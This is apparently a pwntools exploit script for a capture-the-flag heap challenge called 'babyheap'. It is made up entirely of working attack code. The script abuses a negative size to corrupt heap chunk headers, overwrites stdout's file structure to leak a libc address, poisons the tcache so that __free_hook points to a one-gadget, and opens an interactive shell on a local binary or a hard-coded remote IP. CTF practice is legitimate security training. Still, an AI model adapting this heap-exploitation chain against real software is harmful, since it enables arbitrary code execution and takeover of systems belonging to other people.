#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *

context.arch = 'amd64'

if args.REMOTE:
    p = remote('203.66.83.49', '12345')
else:
    p = process("./babyheap", env={"LD_PRELOAD": "./libc.so.6"})
    # p = process("./babyheap")

libc = ELF("./libc.so.6")

def Add(size, name, free):
    p.sendafter("option :", 'N')
    p.sendafter("input size:", str(size))
    p.sendafter("name :", name)
    p.sendafter("free?(y/n)", free)

# offset
Add(0x70, cyclic(4), 'n')

Add(0x0, '', 'y')
Add(0x20, cyclic(4), 'y')
Add(0x30, cyclic(4), 'y')

Add(-1, flat('\x00'*0x18, 0x41), 'y')
Add(0x20, cyclic(4), 'y')
Add(-1, flat('\x00'*0x18, 0x41, '\x90'), 'y')

Add(0x10, cyclic(4), 'n')
Add(0x10, cyclic(4), 'y')

Add(0x40, cyclic(4), 'y')
Add(0xc0, cyclic(4), 'y')
Add(0x3f0, cyclic(4), 'y')
Add(0xf0, cyclic(4), 'n')

Add(-1, flat('\x00'*0x18, 0x521), 'y')
Add(0x40, cyclic(4), 'y')
Add(-1, flat('\x00'*0x18, 0x521, '\x20\xd7'), 'y')

Add(0x30, cyclic(4), 'n')
# pause()
Add(0x30, cyclic(4), 'n')

Add(0x30, flat(0xfbad1800, 0, 0, 0, '\x00\xd6'), 'n')

p.recvline()
p.recvline()
p.recvline()


libc.address = u64(p.recv(6).ljust(8,'\x00')) - 0x1a59d6

info("libc : {0}".format(hex(libc.address)))

if '7f' not in hex(libc.address):
    warning("worng libc address")
    exit(0) 

Add(0x0, '', 'n')
Add(0x0, '', 'y')
Add(0x50, cyclic(4), 'y')
Add(0x60, cyclic(4), 'y')

Add(-1, flat('\x00'*0x18, 0x71), 'y')
Add(0x50, cyclic(4), 'y')
Add(-1, flat('\x00'*0x18, 0x71, libc.symbols.__free_hook), 'y')

Add(0x60, cyclic(4), 'n')
Add(0x60, flat(libc.address + 0xfcc6e), 'y')

p.interactive()
p.close()